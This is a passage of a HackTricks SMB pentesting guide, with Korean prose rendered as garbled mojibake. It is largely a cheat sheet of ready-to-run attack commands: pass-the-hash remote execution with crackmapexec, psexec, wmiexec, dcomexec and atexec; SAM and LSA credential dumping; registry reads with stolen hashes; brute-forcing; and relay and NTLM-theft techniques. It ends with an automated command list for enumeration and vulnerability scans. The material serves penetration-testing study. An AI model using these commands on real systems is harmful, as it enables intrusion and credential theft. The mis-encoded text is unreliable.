ShareHound์€ ๋„๋ฉ”์ธ SMB ๊ณต์œ ๋ฅผ ๋ฐœ๊ฒฌํ•˜๊ณ  ์ด๋ฅผ ์ˆœํšŒํ•˜์—ฌ ACL์„ ์ถ”์ถœํ•œ ๋’ค, BloodHound CE/Enterprise์šฉ OpenGraph JSON ํŒŒ์ผ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.

  • Baseline collection:
  1. LDAP: ์ปดํ“จํ„ฐ ๊ฐ์ฒด๋ฅผ ์—ด๊ฑฐํ•˜๊ณ  dNSHostName์„ ์ฝ์Œ
  2. DNS: ๊ฐ ํ˜ธ์ŠคํŠธ๋ฅผ resolve(ํ•ด๊ฒฐ)
  3. SMB: ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ํ˜ธ์ŠคํŠธ์˜ ๊ณต์œ  ๋ชฉ๋ก์„ ๋‚˜์—ด
  4. ๊ณต์œ ๋ฅผ ํฌ๋กค๋ง(Crawl) (BFS/DFS), ํŒŒ์ผ/ํด๋”๋ฅผ ์—ด๊ฑฐํ•˜๊ณ  ๊ถŒํ•œ์„ ์บก์ฒ˜

ShareQL-driven traversal

  • ShareQL๋Š” ํ˜ธ์ŠคํŠธ/๊ณต์œ /๊ฒฝ๋กœ๋ณ„๋กœ ํƒ์ƒ‰ ํ—ˆ์šฉ/๊ฑฐ๋ถ€๋ฅผ ์ง€์ •ํ•˜๊ณ  ๊ทœ์น™๋ณ„ ์ตœ๋Œ€ ๊นŠ์ด๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋Š” first-match-wins DSL์ž…๋‹ˆ๋‹ค. ํฅ๋ฏธ๋กœ์šด ๊ณต์œ ์— ์ง‘์ค‘ํ•˜๊ณ  ์žฌ๊ท€ ๊นŠ์ด๋ฅผ ์ œํ•œํ•˜์„ธ์š”.

Example ShareQL rules

# Only crawl shares with name containing "backup", up to depth 2
allow host * share * path * depth 0
allow host * share *backup* path * depth 2
deny  host * share * path *

์‚ฌ์šฉ๋ฒ•

sharehound -ai "10.0.100.201" -au "user" -ap "Test123!" -ns "10.0.100.201" \
-rf "rules/skip_common_shares.shareql" -rf "rules/max_depth_2.shareql"
  • -ad/-au/-ap๋ฅผ ํ†ตํ•ด AD ์ž๊ฒฉ ์ฆ๋ช…์„ ์ œ๊ณต(๋˜๋Š” -ad๋ฅผ -au/-ap์™€ ํ•จ๊ป˜ ์‚ฌ์šฉ). ์ธ๋ผ์ธ ๊ทœ์น™์ด๋‚˜ ํŒŒ์ผ์—๋Š” -r/-rf๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • ์ถœ๋ ฅ: JSON OpenGraph; BloodHound์— ์ž„ํฌํŠธํ•˜์—ฌ hosts/shares/files ๋ฐ effective rights๋ฅผ ์ฟผ๋ฆฌํ•˜์„ธ์š”.
  • ํŒ: ํ•„ํ„ฐ๊ฐ€ ๋งค์šฐ ์ œํ•œ์ ์ด์ง€ ์•Š๋Š” ํ•œ ์ตœ๋Œ€ ๊นŠ์ด(max depth)๋ฅผ 1โ€“2๋กœ ์ œํ•œํ•˜์„ธ์š”.

BloodHound ๊ณต๊ฒฉ ํ‘œ๋ฉด ์ฟผ๋ฆฌ

  • shares์— ๋Œ€ํ•ด write-like access๋ฅผ ๊ฐ€์ง„ Principals
MATCH x=(p)-[r:CanWriteDacl|CanWriteOwner|CanDsWriteProperty|CanDsWriteExtendedProperties]->(s:NetworkShareSMB)
RETURN x
  • ๊ณต์œ ์— ๋Œ€ํ•ด FULL_CONTROL ๊ถŒํ•œ์ด ์žˆ๋Š” Principals
Cypher: ๊ณต์œ ์— ๋Œ€ํ•ด FULL_CONTROL ๊ถŒํ•œ์ด ์žˆ๋Š” Principals ```cypher MATCH (p:Principal)-[r]->(s:NetworkShareSMB) WHERE (p)-[:CanDelete]->(s) AND (p)-[:CanDsControlAccess]->(s) AND (p)-[:CanDsCreateChild]->(s) AND (p)-[:CanDsDeleteChild]->(s) AND (p)-[:CanDsDeleteTree]->(s) AND (p)-[:CanDsListContents]->(s) AND (p)-[:CanDsListObject]->(s) AND (p)-[:CanDsReadProperty]->(s) AND (p)-[:CanDsWriteExtendedProperties]->(s) AND (p)-[:CanDsWriteProperty]->(s) AND (p)-[:CanReadControl]->(s) AND (p)-[:CanWriteDacl]->(s) AND (p)-[:CanWriteOwner]->(s) RETURN p,r,s ```
  • ํ™•์žฅ์ž๋ณ„๋กœ ๋ฏผ๊ฐํ•œ ํŒŒ์ผ์„ ์ฐพ์•„๋ผ (์˜ˆ: VMDKs)
MATCH p=(h:NetworkShareHost)-[:HasNetworkShare]->(s:NetworkShareSMB)-[:Contains*0..]->(f:File)
WHERE toLower(f.extension) = toLower(".vmdk")
RETURN p

๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ์ฝ๊ธฐ

๋ฐœ๊ฒฌํ•œ ์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Impacket **reg.py**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‹œ๋„ํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s

ํฌ์ŠคํŠธ ์ต์Šคํ”Œ๋กœ์ดํ…Œ์ด์…˜

Samba ์„œ๋ฒ„์˜ ๊ธฐ๋ณธ ๊ตฌ์„ฑ์€ ๋ณดํ†ต /etc/samba/smb.conf์— ์œ„์น˜ํ•˜๋ฉฐ ๋ช‡ ๊ฐ€์ง€ ์œ„ํ—˜ํ•œ ๊ตฌ์„ฑ์ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

์„ค์ •์„ค๋ช…
browseable = yesํ˜„์žฌ ๊ณต์œ ์—์„œ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๊ณต์œ ๋ฅผ ๋‚˜์—ดํ•˜๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๊นŒ?
read only = noํŒŒ์ผ์˜ ์ƒ์„ฑ ๋ฐ ์ˆ˜์ •์„ ๊ธˆ์ง€ํ•ฉ๋‹ˆ๊นŒ?
writable = yes์‚ฌ์šฉ์ž๊ฐ€ ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๊ณ  ์ˆ˜์ •ํ•˜๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๊นŒ?
guest ok = yes๋น„๋ฐ€๋ฒˆํ˜ธ ์—†์ด ์„œ๋น„์Šค์— ์—ฐ๊ฒฐํ•˜๋Š” ๊ฒƒ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๊นŒ?
enable privileges = yesํŠน์ • SID์— ํ• ๋‹น๋œ ๊ถŒํ•œ์„ ์กด์ค‘ํ•ฉ๋‹ˆ๊นŒ?
create mask = 0777์ƒˆ๋กœ ์ƒ์„ฑ๋œ ํŒŒ์ผ์— ์–ด๋–ค ๊ถŒํ•œ์ด ํ• ๋‹น๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๊นŒ?
directory mask = 0777์ƒˆ๋กœ ์ƒ์„ฑ๋œ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์–ด๋–ค ๊ถŒํ•œ์ด ํ• ๋‹น๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๊นŒ?
logon script = script.sh์‚ฌ์šฉ์ž ๋กœ๊ทธ์ธ ์‹œ ์–ด๋–ค ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๊นŒ?
magic script = script.sh์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ข…๋ฃŒ๋  ๋•Œ ์–ด๋–ค ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๊นŒ?
magic output = script.out๋งค์ง ์Šคํฌ๋ฆฝํŠธ์˜ ์ถœ๋ ฅ์€ ์–ด๋””์— ์ €์žฅ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๊นŒ?

smbstatus ๋ช…๋ น์€ ์„œ๋ฒ„ ๋ฐ ๋ˆ„๊ฐ€ ์—ฐ๊ฒฐ๋˜์–ด ์žˆ๋Š”์ง€์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

Kerberos๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ธ์ฆ

๋„๊ตฌ smbclient ๋ฐ rpcclient๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Kerberos์— ์ธ์ฆํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com

Kerberos-only ํ™˜๊ฒฝ(NTLM ๋น„ํ™œ์„ฑํ™”)์—์„œ๋Š” SMB์— ๋Œ€ํ•œ NTLM ์‹œ๋„๊ฐ€ STATUS_NOT_SUPPORTED๋ฅผ ๋ฐ˜ํ™˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ Kerberos ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜๊ณ  Kerberos auth๋ฅผ ๊ฐ•์ œํ•˜์„ธ์š”:

# sync clock to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# use Kerberos with tooling (reads your TGT from ccache)
netexec smb <dc.fqdn> -k

์™„์ „ํ•œ ํด๋ผ์ด์–ธํŠธ ์„ค์ •(krb5.conf ์ƒ์„ฑ, kinit, SSH GSSAPI/SPN ์ฃผ์˜์‚ฌํ•ญ)์€ ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”:

88tcp/udp - Pentesting Kerberos

๋ช…๋ น ์‹คํ–‰

crackmapexec

crackmapexec๋Š” mmcexec, smbexec, atexec, wmiexec ์ค‘ ์–ด๋–ค ๊ฒƒ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ธฐ๋ณธ ๋ฐฉ๋ฒ•์€ wmiexec์ž…๋‹ˆ๋‹ค. ์„ ํ˜ธํ•˜๋Š” ์˜ต์…˜์€ --exec-method ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

apt-get install crackmapexec

crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash

psexec/smbexec

๋‘ ์˜ต์…˜ ๋ชจ๋‘ ๋Œ€์ƒ ๋จธ์‹ ์—์„œ (SMB๋ฅผ ํ†ตํ•ด _\pipe\svcctl_๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ) ์ƒˆ ์„œ๋น„์Šค๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ์ด๋ฅผ ์‚ฌ์šฉํ•ด ๋ฌด์–ธ๊ฐ€๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. (psexec๋Š” ์‹คํ–‰ ํŒŒ์ผ์„ ADMIN$ share์— ์—…๋กœ๋“œํ•˜๊ณ , smbexec๋Š” cmd.exe/powershell.exe๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋ฉฐ ์ธ์ˆ˜์— ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋„ฃ์Šต๋‹ˆ๋‹ค โ€” file-less technique).
์ž์„ธํ•œ ์ •๋ณด๋Š” psexec ์™€ smbexec.
kali์—์„œ๋Š” /usr/share/doc/python3-impacket/examples/์— ์œ„์น˜ํ•ฉ๋‹ˆ๋‹ค.

#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash

parameter-k๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด NTLM ๋Œ€์‹  kerberos๋กœ ์ธ์ฆํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

wmiexec/dcomexec

๋””์Šคํฌ๋ฅผ ๊ฑด๋“œ๋ฆฌ๊ฑฐ๋‚˜ ์ƒˆ๋กœ์šด ์„œ๋น„์Šค๋ฅผ ์‹คํ–‰ํ•˜์ง€ ์•Š๊ณ  DCOM์„ ํ†ตํ•ด **port 135.**์—์„œ ๋ช…๋ น ์…ธ์„ ์€๋ฐ€ํžˆ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.\ kali์—์„œ๋Š” /usr/share/doc/python3-impacket/examples/์— ์œ„์น˜ํ•ฉ๋‹ˆ๋‹ค.

#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

๋งค๊ฐœ๋ณ€์ˆ˜-k๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด NTLM ๋Œ€์‹  kerberos๋กœ ์ธ์ฆํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

AtExec

Task Scheduler๋ฅผ ํ†ตํ•ด ๋ช…๋ น์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค (SMB๋ฅผ ํ†ตํ•œ \pipe\atsvc ์‚ฌ์šฉ).
kali์—์„œ๋Š” /usr/share/doc/python3-impacket/examples/์— ์œ„์น˜ํ•ฉ๋‹ˆ๋‹ค.

./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"

Impacket ์ฐธ๊ณ 

https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/

ksmbd ๊ณต๊ฒฉ ํ‘œ๋ฉด ๋ฐ SMB2/SMB3 ํ”„๋กœํ† ์ฝœ ํผ์ง• (syzkaller)

Ksmbd Attack Surface And Fuzzing Syzkaller

Bruteforce ์‚ฌ์šฉ์ž ์ž๊ฒฉ ์ฆ๋ช…

๊ถŒ์žฅํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ํ—ˆ์šฉ๋œ ์ตœ๋Œ€ ์‹œ๋„ ํšŸ์ˆ˜๋ฅผ ์ดˆ๊ณผํ•˜๋ฉด ๊ณ„์ •์ด ์ฐจ๋‹จ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name

SMB relay attack

์ด ๊ณต๊ฒฉ์€ Responder ํˆดํ‚ท์„ ์‚ฌ์šฉํ•ด ๋‚ด๋ถ€ ๋„คํŠธ์›Œํฌ์—์„œ capture SMB authentication sessions์„ ํฌ์ฐฉํ•˜๊ณ , ์ด๋ฅผ relaysํ•˜์—ฌ target machine์œผ๋กœ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค. ์ธ์ฆ session is successful์ผ ๊ฒฝ์šฐ ์ž๋™์œผ๋กœ system shell๋กœ ์ง„์ž…ํ•ฉ๋‹ˆ๋‹ค.
More information about this attack here.

SMB-Trap

Windows ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ URLMon.dll์€ ํŽ˜์ด์ง€๊ฐ€ SMB๋ฅผ ํ†ตํ•ด ์ผ๋ถ€ ์ปจํ…์ธ ์— ์ ‘๊ทผํ•˜๋ ค ํ•  ๋•Œ ์ž๋™์œผ๋กœ ํ˜ธ์ŠคํŠธ์— ์ธ์ฆ์„ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ: img src="\\10.10.10.10\path\image.jpg"

This happens with the functions:

  • URLDownloadToFile
  • URLDownloadToCache
  • URLOpenStream
  • URLOpenBlockingStream

์ด ํ•จ์ˆ˜๋“ค์€ ์ผ๋ถ€ ๋ธŒ๋ผ์šฐ์ €์™€ ๋„๊ตฌ(์˜ˆ: Skype)์—์„œ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html

MitMf๋ฅผ ์ด์šฉํ•œ SMBTrap

From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html

NTLM Theft

SMB Trapping๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ, ์•…์„ฑ ํŒŒ์ผ์„ ํƒ€๊นƒ ์‹œ์Šคํ…œ์— ์‹ฌ์–ด(์˜ˆ: SMB๋ฅผ ํ†ตํ•ด) SMB ์ธ์ฆ ์‹œ๋„๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, Responder ๊ฐ™์€ ๋„๊ตฌ๋กœ NetNTLMv2 ํ•ด์‹œ๋ฅผ ๊ฐ€๋กœ์ฑŒ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ ํ•ด์‹œ๋Š” ์˜คํ”„๋ผ์ธ์—์„œ ํฌ๋ž™ํ•˜๊ฑฐ๋‚˜ SMB relay attack์— ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

See: ntlm_theft

HackTricks ์ž๋™ ๋ช…๋ น

Protocol_Name: SMB    #Protocol Abbreviation if there is one.
Port_Number:  137,138,139     #Comma separated if there is more than one.
Protocol_Description: Server Message Block         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as โ€˜NBT over IPโ€™, Port 445 is โ€˜SMB over IPโ€™. SMB stands for โ€˜Server Message Blocksโ€™. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.

#These are the commands I run in order every time I see an open SMB port

With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}

With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html

Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}

Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}

Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}

Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb

Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445  enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ